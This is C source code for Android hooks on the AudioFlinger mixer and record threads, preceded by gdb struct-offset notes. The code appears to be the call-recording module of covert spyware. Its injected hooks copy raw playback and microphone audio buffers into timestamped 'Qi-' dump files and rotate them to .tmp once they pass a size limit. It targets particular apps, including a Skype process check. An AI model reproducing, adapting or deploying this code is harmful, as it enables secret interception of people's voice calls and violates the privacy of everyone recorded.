offsets-of 'android::AudioFlinger::MixerThread'
android::AudioFlinger::PlaybackThread => 0
android::Thread => 0
mLock => 36
mType => 40
mWaitWorkCV => 44
mAudioFlinger => 48
mSampleRate => 52
mFrameCount => 56 == 0x38
mNormalFrameCount => 60
mChannelMask => 64
mChannelCount => 68
mFrameSize => 72 == 0x48
mFormat => 76
mParamCond => 80
mNewParameters => 84
mParamStatus => 104
mConfigEvents => 108
mStandby => 128
mOutDevice => 132
mInDevice => 136
mAudioSource => 140
mId => 144
mEffectChains => 148
mMixBuffer => 220 == 0xdc
mSuspended => 224
mBytesWritten => 228
mMasterMute => 232
mActiveTracks => 236 == 0xef
mTracks => 256
mStreamTypes => 276
mOutput => 364
mMasterVolume => 368
mLastWriteTime => 376
mNumWrites => 384
mNumDelayedWrites => 388
mInWrite => 392
standbyTime => 400
mixBufferSize => 408
activeSleepTime => 412
idleSleepTime => 416
sleepTime => 420
mMixerStatus => 424
mMixerStatusIgnoringFastTracks => 428
sleepTimeShift => 432
standbyDelay => 440
maxPeriod => 448
writeFrames => 456
mOutputSink => 460
mPipeSink => 464
mNormalSink => 468 == 0x1d4
mScreenState => 472
mAudioMixer => 484
mFastMixer => 488
mAudioWatchdog => 492
mFastMixerDumpState => 496
mStateQueueObserverDump => 262760
mStateQueueMutatorDump => 262764
mAudioWatchdogDump => 262776
mFastMixerFutex => 262788
b 'android::AudioFlinger::PlaybackThread::threadLoop_write'
p *this->mNormalSink.m_ptr
p *this->mAudioMixer
p *this->mAudioMixer->bufferProvider
*/
void* playbackTrack_threadLoop_write(void* this, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
unsigned int* cblk_ptr;
unsigned int cblk;
unsigned long framesAvail;
unsigned long bufferSize;
unsigned long bufferStart;
unsigned long thisStart;
unsigned long bufferEndAddress;
unsigned int sampleRate;
struct timeval tv;
ssize_t res;
/* int ii, cblkIndex; */
unsigned int uintTmp;
struct cblk_t *cblk_tmp= NULL;
off_t headerStart = 0, positionTmp = 0;
time_t now;
int tt = 0xf;
unsigned int bufferRaw = 0;
unsigned int framesCount = 0;
unsigned int frameSize = 0;
char randString[11]; // rand %d 10 + null;
char timestamp[11]; // epoch %ld 10 + null;
char pidC[11]; // pid %d 10 + null;
int filenameLength = 0;
char *filename;
char* tmp;
int written;
/* call the original function */
h_ptr = (void *) playbackTrack_threadLoop_write_helper.orig;
helper_precall(&playbackTrack_threadLoop_write_helper);
result = h_ptr( this, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&playbackTrack_threadLoop_write_helper);
unsigned int mMixBuffer = * (unsigned int*) (this + 0xdc);
#ifdef DEBUG_HOOKFNC
log("playbackTrack_threadLoop_write:HOOKED \n");
#endif
return result;
framesCount = * (unsigned int*) (b + 4);
/* fetch the necessary fields */
cblk_ptr = (unsigned int*) (this + mCblk_this_offset) ;
cblk = *cblk_ptr;
frameSize = *(unsigned char *) (this + 0x40 );
/* [2] second field within AudioBufferProvider */
framesCount = * (unsigned int*) (b + 4);
/* [1] first field (ptr) within mMixBuffer */
bufferRaw = *(unsigned int*) (b);
// add the cblk to the tracks list, if
// we don't find it, it might be because
// the injection took place after the track
// was created
//log("start hash find\n");
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL ) {
if( result == 0 && framesCount != 0 && cblk_tmp->streamType == 0 ) {
headerStart = lseek(cblk_tmp->fd, 0, SEEK_CUR);
uintTmp = 0xb00bb00b;
write(cblk_tmp->fd, &uintTmp, 4); // 1] epoch start
//write(cblk_tmp->fd, &uintTmp, 4); // 2] epoch end
write(cblk_tmp->fd, &uintTmp, 4); // 3] streamType
write(cblk_tmp->fd, &uintTmp, 4); // 4] sampleRate
write(cblk_tmp->fd, &uintTmp, 4); // 5] size of block
res = write(cblk_tmp->fd, bufferRaw, framesCount * frameSize );
#ifdef DEBUG_HOOKFNC
//log("wrote: %d - expected: %d frameCount=%d frameSize=%d \n", res, framesCount * frameSize ,framesCount , frameSize);
#endif
positionTmp = lseek(cblk_tmp->fd, 0, SEEK_CUR);
// if something is written fix the header
if( res > 0 ) {
// go back to start of header
lseek(cblk_tmp->fd, headerStart, SEEK_SET);
// write the header
now = time(NULL);
//tt = gettimeofday(&tv,NULL);
written = write(cblk_tmp->fd, &now , 4); // 1] timestamp start
//written = write(cblk_tmp->fd, &now , 4); // 2] timestamp end - fake value
written = write(cblk_tmp->fd, &cblk_tmp->streamType , 4); // 3] streamType
written = write(cblk_tmp->fd, &cblk_tmp->sampleRate , 4); // 4] sampleRate
written = write(cblk_tmp->fd, &res , 4); // 5] res
if(res!=(framesCount * frameSize)){
#ifdef DEBUG_HOOKFNC
log("write less then expexted %d write %d \n", (framesCount * frameSize),res);
//log("rename %d\n", rename(cblk_tmp->filename, filename) );
#endif
if(frameSize)
framesCount = res/frameSize;
}
// reposition the fd
lseek(cblk_tmp->fd, positionTmp, SEEK_SET);
/* dump when fd is at position >= 1048576 - 1Mb */
if(lseek(cblk_tmp->fd, 0, SEEK_CUR) >= FILESIZE) {
/* rename file *.bin to *.tmp */
filename = strdup(cblk_tmp->filename); // check return value
*(filename+strlen(filename)-1) = 'p';
*(filename+strlen(filename)-2) = 'm';
*(filename+strlen(filename)-3) = 't';
#ifdef DEBUG_HOOKFNC
log("DUMPING fname %s\n", filename);
//log("rename %d\n", rename(cblk_tmp->filename, filename) );
#endif
rename(cblk_tmp->filename, filename);
if( filename != NULL) {
free(filename);
}
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
/* generate a new filename for the track */
snprintf(timestamp, 11, "%d", time(NULL));
snprintf(pidC, 11, "%d", cblk_tmp->pid);
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(cblk_tmp->trackId) + 1 + 4 + 1 + 3 +1 + strlen(pidC);
cblk_tmp->filename = malloc( sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-r.bin", dumpPath, timestamp, cblk_tmp->trackId,pidC );
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("%s fd: %d continuing open%s\n", cblk_tmp->filename, cblk_tmp->fd,(cblk_tmp->fd>1)?"OK":"Failed");
#endif
}else{
#ifdef DEBUG_HOOKFNC
//log("adding data track cblk %p, result=%d dataSize=%d streamType=%d pid=%d \n",
//cblk,result,framesCount * frameSize,cblk_tmp->streamType,cblk_tmp->pid);
#endif
}
}else {
// otherwise remove the header, we don't need this block
lseek(cblk_tmp->fd, headerStart, SEEK_SET);
#ifdef DEBUG_HOOKFNC
log("skipping this buffer block cblk %p nothing has been written to fd %d framesCount=%d frameSize=%d \n",
cblk,cblk_tmp->fd,framesCount,frameSize);
#endif
}
}else{
#ifdef DEBUG_HOOKFNC
//log("skipping track cblk %p, result=%d frameCount=%d streamType=%d pid=%d \n",
//cblk,result,framesCount,cblk_tmp->streamType,cblk_tmp->pid);
#endif
}
/* in both cases update cblk_tmp for the next run */
cblk_tmp->lastBufferRaw = bufferRaw;
cblk_tmp->lastFrameCount = framesCount;
cblk_tmp->lastFrameSize = frameSize;
}else {
#ifdef DEBUG_HOOKFNC
//log("cblk not found %x\n", cblk);
#endif
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- end playback3 -------------\n");
#endif
return result;
}
void* playbackTrack_getNextBuffer3_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
unsigned int* cblk_ptr;
unsigned int cblk;
unsigned long framesAvail;
unsigned long bufferSize;
unsigned long bufferStart;
unsigned long thisStart;
unsigned long bufferEndAddress;
unsigned int sampleRate;
struct timeval tv;
ssize_t res;
/* int ii, cblkIndex; */
unsigned int uintTmp;
struct cblk_t *cblk_tmp= NULL;
off_t headerStart = 0, positionTmp = 0;
time_t now;
int tt = 0xf;
unsigned int bufferRaw = 0;
unsigned int framesCount = 0;
unsigned int frameSize = 0;
char randString[11]; // rand %d 10 + null;
char timestamp[11]; // epoch %ld 10 + null;
char pidC[11]; // pid %d 10 + null;
int filenameLength = 0;
char *filename;
char* tmp;
int written;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- playback3 -------------\n");
#endif
/* if( cblk_tmp->fd == 0) { */
/* cblk_tmp->fd = open("/data/local/tmp/log_out" , O_RDWR , S_IRUSR | S_IRGRP | S_IROTH); */
/* } */
// tmp
framesCount = * (unsigned int*) (b + 4);
#ifdef DEBUG_HOOKFNC
// log("> pb args %x %x %x - desiredFrames: %x\n", a, b, c, framesCount);
#endif
/* call the original function */
h_ptr = (void *) playbackTrack_getNextBuffer_helper.orig;
helper_precall(&playbackTrack_getNextBuffer_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&playbackTrack_getNextBuffer_helper);
if(result!=NULL)
return result;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t\tresult: %d\n", (int) result);
#endif
/* fetch the necessary fields */
cblk_ptr = (unsigned int*) (a + mCblk_this_offset) ;
cblk = *cblk_ptr;
#ifdef DEBUG_HOOKFNC
// log("\t\t\tcblk %p\n", cblk);
#endif
#ifdef DEBUG_HOOKFNC
// log("\t\t\tcblk flags %x\n", *(signed int*) (cblk + 0x3c));
#endif
/* [3] */
//android 4.3 (gdb) p/x (int)&(('android::AudioFlinger::PlaybackThread::Track'*)0)->mFrameSize
//$29 = 0x40
if (android_version_ID >= ANDROID_V_4_3)
frameSize = *(unsigned char *) (a + 0x40 );
else
frameSize = *(unsigned char *) (cblk + 0x34 );
#ifdef DEBUG_HOOKFNC
// log("\t\t\tframeSize %x\n", frameSize);
#endif
// not really useful, info only
sampleRate = *(unsigned int*) (cblk + 0x30);
#ifdef DEBUG_HOOKFNC
// log("\t\t\tsampleRate %d\n", sampleRate);
#endif
/* [2] second field within AudioBufferProvider */
framesCount = * (unsigned int*) (b + 4);
#ifdef DEBUG_HOOKFNC
// log("\t\t\tframesCount %x\n", framesCount);
#endif
/* [1] first field (ptr) within AudioBufferProvider */
bufferRaw = *(unsigned int*) (b);
// add the cblk to the tracks list, if
// we don't find it, it might be because
// the injection took place after the track
// was created
//log("start hash find\n");
HASH_FIND_INT( cblkTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL ) {
if( result == 0 && framesCount != 0 && cblk_tmp->streamType == 0 && (local_started || (cblk_tmp->pid!=PRG_SKYPE_ID))) {
if(cblk_tmp->filename == NULL ){
snprintf(timestamp, 11, "%d", time(NULL));
snprintf(pidC, 11, "%d", cblk_tmp->pid);
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(cblk_tmp->trackId ) + 1 + 4 + 1 + 3+1+strlen(pidC);
cblk_tmp->filename = malloc( sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-r.bin", dumpPath, timestamp, cblk_tmp->trackId ,pidC );
#ifdef DEBUG_HOOKFNC
if(cblk_tmp->pid==PRG_MEDIASERVER_ID)
log("trackId: %s owned by mediaserver ", cblk_tmp->trackId);
#endif
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("filename: %s open %s sampleRate %d", cblk_tmp->filename,(cblk_tmp->fd>1)?"OK":"FAILED",sampleRate);
#endif
}
if(cblk_tmp->fd != -1){
/*
off_t lseek(int fd, off_t offset, int whence);
DESCRIPTION
The lseek() function repositions the offset of the open file associated with the file descriptor fd to the argument offset according to the directive whence as follows:
SEEK_SET
The offset is set to offset bytes.
SEEK_CUR
The offset is set to its current location plus offset bytes.
SEEK_END
The offset is set to the size of the file plus offset bytes.
RETURN Upon successful completion, lseek() returns the resulting offset location as measured in bytes from the beginning of the file
*/
// header
headerStart = lseek(cblk_tmp->fd, 0, SEEK_CUR);
//log("\t\theaderStart: %x\n", headerStart);
// epoch : streamType : sampleRate : blockLen
uintTmp = 0xb00bb00b;
write(cblk_tmp->fd, &uintTmp, 4); // 1] epoch start
//write(cblk_tmp->fd, &uintTmp, 4); // 2] epoch end
write(cblk_tmp->fd, &uintTmp, 4); // 3] streamType
write(cblk_tmp->fd, &uintTmp, 4); // 4] sampleRate
write(cblk_tmp->fd, &uintTmp, 4); // 5] size of block
#ifdef DEBUG_HOOKFNC
// log("\t\t\tbuffer spans: %p -> %p\n", bufferRaw, (bufferRaw + framesCount * frameSize ) );
#endif
res = write(cblk_tmp->fd, bufferRaw, framesCount * frameSize );
#ifdef DEBUG_HOOKFNC
//log("wrote: %d - expected: %d in %s \n", res, framesCount * frameSize ,cblk_tmp->filename);
#endif
positionTmp = lseek(cblk_tmp->fd, 0, SEEK_CUR);
#ifdef DEBUG_HOOKFNC
// log("\t\tfake header written: %x\n", positionTmp);
#endif
// if something is written fix the header
if( res > 0 ) {
// go back to start of header
lseek(cblk_tmp->fd, headerStart, SEEK_SET);
#ifdef DEBUG_HOOKFNC
//log("\t\trolled back: %x\n", lseek(cblk_tmp->fd, 0, SEEK_CUR));
#endif
// write the header
now = time(NULL);
//tt = gettimeofday(&tv,NULL);
written = write(cblk_tmp->fd, &now , 4); // 1] timestamp start
//written = write(cblk_tmp->fd, &now , 4); // 2] timestamp end - fake value
written = write(cblk_tmp->fd, &cblk_tmp->streamType , 4); // 3] streamType
written = write(cblk_tmp->fd, &cblk_tmp->sampleRate , 4); // 4] sampleRate
written = write(cblk_tmp->fd, &res , 4); // 5] res
#ifdef DEBUG_HOOKFNC
// log("\t\t\theader fixed %x -> %x:%x:%x:%x\n", cblk_tmp->cblk_index, now, cblk_tmp->streamType, cblk_tmp->sampleRate, res);
#endif
// reposition the fd
lseek(cblk_tmp->fd, positionTmp, SEEK_SET);
#ifdef DEBUG_HOOKFNC
// log("\t\trolled forward: %x\n", lseek(cblk_tmp->fd, 0, SEEK_CUR));
#endif
/* dump when fd is at position >= 1048576 - 1Mb */
if(lseek(cblk_tmp->fd, 0, SEEK_CUR) >= FILESIZE) {
#ifdef DEBUG_HOOKFNC
// log("should take a dump\n");
#endif
/* rename file *.bin to *.tmp */
filename = strdup(cblk_tmp->filename); // check return value
*(filename+strlen(filename)-1) = 'p';
*(filename+strlen(filename)-2) = 'm';
*(filename+strlen(filename)-3) = 't';
#ifdef DEBUG_HOOKFNC
log("DUMPING fname %s\n", filename);
//log("rename %d\n", rename(cblk_tmp->filename, filename) );
#endif
rename(cblk_tmp->filename, filename);
if( filename != NULL) {
free(filename);
}
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
/* generate a new filename for the track */
snprintf(timestamp, 11, "%d", time(NULL));
snprintf(pidC, 11, "%d", cblk_tmp->pid);
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(cblk_tmp->trackId) + 1 + 4 + 1 + 3 +1 + strlen(pidC);
cblk_tmp->filename = malloc( sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-r.bin", dumpPath, timestamp, cblk_tmp->trackId,pidC );
#ifdef DEBUG_HOOKFNC
// log("new filename: %s\n", cblk_tmp->filename);
#endif
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("%s fd: %d continuing open%s\n", cblk_tmp->filename, cblk_tmp->fd,(cblk_tmp->fd>1)?"OK":"Failed");
#endif
}
}else {
// otherwise remove the header, we don't need this block
lseek(cblk_tmp->fd, headerStart, SEEK_SET);
}
}
}else{
#ifdef DEBUG_HOOKFNC
//log("skipping track cblk %p, result=%d frameCount=%d streamType=%d pid=%d \n",
//cblk,result,framesCount,cblk_tmp->streamType,cblk_tmp->pid);
#endif
}
/* in both cases update cblk_tmp for the next run */
cblk_tmp->lastBufferRaw = bufferRaw;
cblk_tmp->lastFrameCount = framesCount;
cblk_tmp->lastFrameSize = frameSize;
}else {
#ifdef DEBUG_HOOKFNC
//log("cblk not found %x\n", cblk);
#endif
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- end playback3 -------------\n");
#endif
return result;
}
void* recordTrack_getNextBuffer3_h(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w) {
void* (*h_ptr)(void* a, void* b, void* c, void* d, void* e, void* f, void* g, void* h, void* i, void* j, void* k, void* l, void* m, void* n, void* o, void* p, void* q, void* r, void* s, void* t, void* u, void* w);
void* result;
unsigned int* cblk_ptr;
unsigned int cblk;
unsigned long framesAvail;
unsigned long bufferSize;
unsigned long bufferStart;
unsigned long thisStart;
unsigned long bufferEndAddress;
unsigned int sampleRate;
struct timeval tv;
ssize_t res;
/* int ii, cblkIndex; */
unsigned int uintTmp;
struct cblk_t *cblk_tmp= NULL;
off_t headerStart = 0, positionTmp = 0;
time_t now;
int tt = 0xf;
unsigned int bufferRaw = 0;
unsigned int framesCount = 0;
unsigned int frameSize = 0;
char randString[11]; // rand %d 10 + null;
char pidC[11]; // pid %d 10 + null;
char timestamp[11]; // epoch %ld 10 + null;
int filenameLength = 0;
char *filename;
char* tmp;
int written;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- record3 -------------\n");
#endif
// tmp
framesCount = * (unsigned int*) (b + 4);
#ifdef DEBUG_HOOKFNC
// log("> rt args %x %x %x - desiredFrames: %x \n", a, b, c, framesCount);
#endif
/* call the original function */
h_ptr = (void *) recordTrack_getNextBuffer_helper.orig;
helper_precall(&recordTrack_getNextBuffer_helper);
result = h_ptr( a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, w);
helper_postcall(&recordTrack_getNextBuffer_helper);
if(result!=NULL)
return result;
#ifdef DEBUG_HOOKFNC
// log("\t\t\t\tresult: %d\n", (int) result);
#endif
/* fetch the necessary fields */
cblk_ptr = (unsigned int*) (a + mCblk_this_offset) ;
cblk = *cblk_ptr;
#ifdef DEBUG_HOOKFNC
// log("\t\t\tcblk %p\n", cblk);
#endif
#ifdef DEBUG_HOOKFNC
// log("\t\t\tcblk flags %x\n", *(signed int*) (cblk + 0x3c));
#endif
/* [3] */
if (android_version_ID >= ANDROID_V_4_3)
frameSize = *(unsigned char *) (a + 0x40 );
else
frameSize = *(unsigned char *) (cblk + 0x34 );
#ifdef DEBUG_HOOKFNC
// log("\t\t\tframeSize %x\n", frameSize);
#endif
// not really useful, info only
if (android_version_ID >= ANDROID_V_4_3){
sampleRate = *(unsigned int*) (a + 0x30);
}else{
sampleRate = *(unsigned int*) (cblk + 0x30);
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\tsampleRate %x\n", sampleRate);
#endif
/* [2] second field within AudioBufferProvider */
framesCount = * (unsigned int*) (b + 4);
#ifdef DEBUG_HOOKFNC
// log("\t\t\tframesCount %x\n", framesCount);
#endif
/* [1] first field (ptr) within AudioBufferProvider */
bufferRaw = *(unsigned int*) (b);
unsigned long mClient;
mClient = *(unsigned long*) (a + mClient_thisP_offset);
int pid = *(int*) (mClient + mPid_mClient_offset );
#ifdef DEBUG_HOOKFNC
// log("\tnew track cblk: %p calling pid=%d trackId: %s\n", cblk,pid,cblk_tmp->trackId);
#endif
if(pid>0){
int tmp=0;
tmp=get_command_id(pid);
#ifdef DEBUG_HOOKFNC
if(tmp<=0){
//log("pid %d not found\n",pid);
}
#endif
pid=tmp;
}else{
pid=0;
}
if( pid>PRG_MEDIASERVER_ID ) {
// add the cblk to the tracks list, if
// we don't find it, it might be because
// the injection took place after the track
// was created
HASH_FIND_INT( cblkRecordTracks, &cblk, cblk_tmp);
if( cblk_tmp != NULL && cblk_tmp->lastStatus == STATUS_STOP){
//this is here because of the old call, FREE IT!!!
if(cblk_tmp->fd != -1)
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
if( cblk_tmp->filename != NULL ) {
#ifdef DEBUG_HOOKFNC
log("FREEING LEFTOVER: %s", cblk_tmp->filename);
#endif
free(cblk_tmp->filename);
cblk_tmp->filename = NULL;
}else{
#ifdef DEBUG_HOOKFNC
log("FREEING LEFTOVER: for %p", cblk);
#endif
}
if( cblk_tmp->trackId != NULL ) {
free(cblk_tmp->trackId);
cblk_tmp->trackId = NULL;
}
HASH_DEL(cblkRecordTracks, cblk_tmp);
free(cblk_tmp);
cblk_tmp =NULL;
}
if( cblk_tmp == NULL ) {
/* old code: insert from getBuffer if( cblk_tmp != NULL ) { */
cblk_tmp = malloc( sizeof(struct cblk_t) );
cblk_tmp->filename=NULL;
#ifdef DEBUG_HOOKFNC
// log("cblk_tmp %x size %d\n", cblk_tmp, sizeof(cblk_tmp));
#endif
cblk_tmp->cblk_index = cblk;
/*
record does not have a corresponding newTrack event
for such reason possible status are start or stop only
*/
cblk_tmp->lastStatus = STATUS_START;
snprintf(randString, 11, "%lu", mrand48());
snprintf(timestamp, 11, "%d", time(NULL));
cblk_tmp->trackId = strdup(randString);
#ifdef DEBUG_HOOKFNC
// log("trackId: %s\n", cblk_tmp->trackId);
#endif
// Qi-<timestamp>-<id univoco per chiamata>-<canale>-<pid>.[tmp|boh]
// length: 2-strlen(timestamp)-strlen(randString)-1.3.1 + 3 chars for '-'
// filenameLength including null
snprintf(pidC, 11, "%d", pid);
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(randString) + 1 + 4 + 1 + 3 + 1 + strlen(pidC);
cblk_tmp->filename = malloc( sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-l.bin",dumpPath, timestamp, randString,pidC );
#ifdef DEBUG_HOOKFNC
// log("filename: %s\n", cblk_tmp->filename);
#endif
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
log("%s fd: %d\n", cblk_tmp->filename, cblk_tmp->fd);
#endif
cblk_tmp->frameCount = *(unsigned int*) (cblk + 0x1c);
#ifdef DEBUG_HOOKFNC
// log("frame count: %x\nframe size %d\nbuffer end: %x\n", cblk_tmp->frameCount, frameSize, (cblk_tmp->frameCount * frameSize));
#endif
cblk_tmp->lastBufferRaw = bufferRaw;
cblk_tmp->lastFrameCount = framesCount;
cblk_tmp->lastFrameSize = frameSize;
cblk_tmp->streamType = -2; // dummy value, we can't tell from within getNextBuffer the exact streamType
cblk_tmp->sampleRate = sampleRate;
cblk_tmp->pid=pid;
// temporary fix for 2 stop call in a row
cblk_tmp->stopDump = 0;
HASH_ADD_INT(cblkRecordTracks, cblk_index, cblk_tmp); // record
cblk_tmp = NULL;
HASH_FIND_INT( cblkRecordTracks, &cblk, cblk_tmp);
if( cblk_tmp == NULL ) {
#ifdef DEBUG_HOOKFNC
log("uthash shit happened\n");
#endif
return result;
}
#ifdef DEBUG_HOOKFNC
log("\t\tgetNextBuffer added cblk\n");
#endif
local_started=1;
}else {
#ifdef DEBUG_HOOKFNC
// log("\t\tstreamType: %d\n", cblk_tmp->streamType);
#endif
#ifdef DEBUG_HOOKFNC
//TODO: temporary
if( cblk_tmp->stopDump == 1)
log("RECEVING MORE DATA FOR TRACK %p\n", cblk);
#endif
if( result == 0 && framesCount != 0 && cblk_tmp->stopDump == 0 ) { // stopDump: temporary fix
// header
headerStart = lseek(cblk_tmp->fd, 0, SEEK_CUR);
//log("\t\theaderStart: %x\n", headerStart);
// epoch : streamType : sampleRate : blockLen
uintTmp = 0xc00cc00c;
write(cblk_tmp->fd, &uintTmp, 4); // 1] epoch
write(cblk_tmp->fd, &uintTmp, 4); // 2] streamType
write(cblk_tmp->fd, &uintTmp, 4); // 3] sampleRate
write(cblk_tmp->fd, &uintTmp, 4); // 4] size of block
#ifdef DEBUG_HOOKFNC
// log("\t\t\tbuffer spans: %p -> %p\n", bufferRaw, (bufferRaw + framesCount * frameSize ) );
#endif
res = write(cblk_tmp->fd, bufferRaw, framesCount * frameSize );
#ifdef DEBUG_HOOKFNC
// log("\t\t\t\twrote: %d - expected: %d\n", res, framesCount * frameSize );
#endif
positionTmp = lseek(cblk_tmp->fd, 0, SEEK_CUR);
#ifdef DEBUG_HOOKFNC
// log("\t\tfake header written: %x\n", positionTmp);
#endif
// if something is written fix the header
if( res > 0 ) {
// go back to start of header
lseek(cblk_tmp->fd, headerStart, SEEK_SET);
#ifdef DEBUG_HOOKFNC
// log("\t\trolled back: %x\n", lseek(cblk_tmp->fd, 0, SEEK_CUR));
#endif
// write the header
now = time(NULL);
//tt = gettimeofday(&tv,NULL);
written = write(cblk_tmp->fd, &now , 4); // 1] timestamp
written = write(cblk_tmp->fd, &cblk_tmp->streamType , 4); // 2] streamType
written = write(cblk_tmp->fd, &cblk_tmp->sampleRate , 4); // 3] sampleRate
written = write(cblk_tmp->fd, &res , 4); // 4] res
if(res!=(framesCount * frameSize)){
#ifdef DEBUG_HOOKFNC
log("write less then expexted %d write %d \n", (framesCount * frameSize),res);
//log("rename %d\n", rename(cblk_tmp->filename, filename) );
#endif
if(frameSize)
framesCount = res/frameSize;
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\theader fixed %x -> %x:%x:%x:%x\n", cblk_tmp->cblk_index, now, cblk_tmp->streamType, cblk_tmp->sampleRate, res);
#endif
// reposition the fd
lseek(cblk_tmp->fd, positionTmp, SEEK_SET);
//log("\t\trolled forward: %x\n", lseek(cblk_tmp->fd, 0, SEEK_CUR));
/* dump when fd is at position >= 5242880 */
if( lseek(cblk_tmp->fd, 0, SEEK_CUR) >= FILESIZE ) {
/* rename file *.bin to *.tmp */
filename = strdup(cblk_tmp->filename); // check return value
*(filename+strlen(filename)-1) = 'p';
*(filename+strlen(filename)-2) = 'm';
*(filename+strlen(filename)-3) = 't';
#ifdef DEBUG_HOOKFNC
log("dumping %s\n",filename);
#endif
#ifdef DEBUG_HOOKFNC
// log("fname %s\n", filename);
//log("rename %d\n", rename(cblk_tmp->filename, filename) );
#endif
rename(cblk_tmp->filename, filename);
if( filename != NULL) {
#ifdef DEBUG_HOOKFNC
// log("freeing filename\n");
#endif
free(filename);
#ifdef DEBUG_HOOKFNC
// log("after filename free\n");
#endif
}
close(cblk_tmp->fd);
cblk_tmp->fd = -1;
/* generate a new filename for the track */
snprintf(timestamp, 11, "%d", time(NULL));
cblk_tmp->pid=pid;
snprintf(pidC, 11, "%d", cblk_tmp->pid);
filenameLength = strlen(dumpPath) + 1 + 2 + strlen(timestamp) + strlen(cblk_tmp->trackId) + 1 + 4 + 1 + 3 + 1 + strlen(pidC);
cblk_tmp->filename = malloc( sizeof(char) * filenameLength );
snprintf(cblk_tmp->filename, filenameLength, "%s/Qi-%s-%s-%s-l.bin", dumpPath, timestamp, cblk_tmp->trackId,pidC );
#ifdef DEBUG_HOOKFNC
log("new filename: %s\n", cblk_tmp->filename);
#endif
cblk_tmp->fd = open(cblk_tmp->filename, O_RDWR | O_CREAT , S_IRUSR | S_IRGRP | S_IROTH);
#ifdef DEBUG_HOOKFNC
// log("%s fd: %d\n", cblk_tmp->filename, cblk_tmp->fd);
#endif
}
}
// otherwise remove the header, we don't need this block
else {
lseek(cblk_tmp->fd, headerStart, SEEK_SET);
}
}
/* in both cases update cblk_tmp for the next run */
cblk_tmp->lastBufferRaw = bufferRaw;
cblk_tmp->lastFrameCount = framesCount;
cblk_tmp->lastFrameSize = frameSize;
}
}else{
#ifdef DEBUG_HOOKFNC
log("pid unknown %d\n",pid);
#endif
}
#ifdef DEBUG_HOOKFNC
// log("\t\t\t------- end record3 -------------\n");
#endif
return result;
}